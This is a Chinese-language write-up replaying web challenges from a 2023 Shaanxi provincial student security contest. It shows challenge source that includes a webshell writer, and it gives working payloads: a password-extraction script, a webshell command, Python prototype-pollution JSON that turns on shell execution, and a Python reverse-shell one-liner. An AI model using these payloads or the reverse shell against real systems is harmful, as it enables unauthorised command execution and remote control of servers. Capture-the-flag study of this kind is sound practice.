2023年 第三届陕西省大学生网络安全技能大赛(高职院校组)web复现
easyrce 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 ); highlight_file (__FILE__ );if (!empty ($_GET ['PK' ])){ $PK = $_GET ['PK' ]; if (blacklistFilter ($_SERVER ["QUERY_STRING" ])){ include $PK ; }else { highlight_file (__FILE__ ); } } function blacklistFilter ($arg ) { $blacklist = array ('[' , ']' , ';' , '?' , '@' , '(' , ')' , 'exec' , 'eval' , '$' , 'phpinfo' , 'flag' , 'data' , 'filter' , '#' ); $filteredInput = str_replace ($blacklist , '' , $arg ); return $filteredInput ; }
这几乎该waf的全waf
直接用file://协议读就行了 再来好好看看这个协议;
tql
mua 这题太抽象了!!
1 2 3 4 5 6 7 8 9 <?php ignore_user_abort (true ); set_time_limit (0 ); $file = 'shell.php' ; $code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET[\'cmd\'])<9){ @system($_GET[\'cmd\']); } } ?>' ; while (1 ){ file_put_contents ($file ,$code ); usleep (5000 ); ?>
发现给了源码 但是这个md5根本就不让人解出来
查看robots.txt 发现/substr_pass.php
获得hint ?a=xx&b=xx
传参?a=0&b=1
不同数字时会给我们pass内容
当b=3 a为其他数字 可以爆出pass的内容 这里需要写一个脚本完成
1 2 3 4 5 6 7 import requestsurl = 'http://b36384f5.clsadp.com/substr_pass.php' result = [] for i in range (100 ): payload = {"a" :"{}" .format (i),"b" :3 } r = requests.get(url=url,params=payload) print (r.text)
pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善 妈的 太抽象了
payload:shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=cat /h*
PPP 这是一道python的原型链污染 之前没见过 但是跟nodejs的原型链污染大同小异 python原型链具体分析之后会补上 现在实在没时间 直接狂看 这篇文章 md源码是从这里偷的八https://tttang.com/archive/1876/
给了附件源码 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def evilFunc (arg_1 , * , shell = False ): if not shell: print (arg_1) else : print (__import__ ("os" ).popen(arg_1).read()) class Family : def __init__ (self ): pass family = Family() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: //其实就是post传参 merge(json.loads(request.data), family) evilFunc("whoami" ) return "fun" @app.route('/eval' ,methods=['GET' ] ) def eval (): if request.args.get('cmd' ): cmd = request.args.get('cmd' ) evilFunc(cmd) return "ok" app.run(host="0.0.0.0" ,port= 3000 ,debug=False )
可以发现有 /和/eavl
看到了老熟人 merge()
python原型链污染的重要代码就是这部分
1 2 3 4 5 6 7 8 9 10 11 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
达到的效果和nodejs中的差不多
在/eval路由中 我们将get获取到的值传给evilFunc(cmd)
1 2 3 4 5 6 def evilFunc (arg_1 , * , shell = False ): if not shell: print (arg_1) else : print (__import__ ("os" ).popen(arg_1).read())
但前提是 这个shell参数为为true 也是就为1也就是 if not shell
这个判断语句为假
可以看到这个函数被创建时已经默认复制给shell = False
也就是0的效果 如果我们可以原型链污染 将默认值设置为shell = 1
那么就可以命令执行了
__kwdefaults__
是 Python 中函数对象的一个特殊属性,用于获取函数的关键字参数的默认值。
evilFunc()属于全局函数要用__globals__
payload如下
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "evilFunc" : { "__kwdefaults__" : { "shell" : 1 } } } } }
或者是
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "evilFunc" : { "__defaults__" : ( True , ) } } } }
然后在/下打入
再到/eval路由下反弹shell即可
这里反弹shell的时候当时用了bash试了好多次没有成功 因为是复现 估计是靶场问题 但是用python反弹就可以成功 payload如下
1 cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
pyweb 放过自己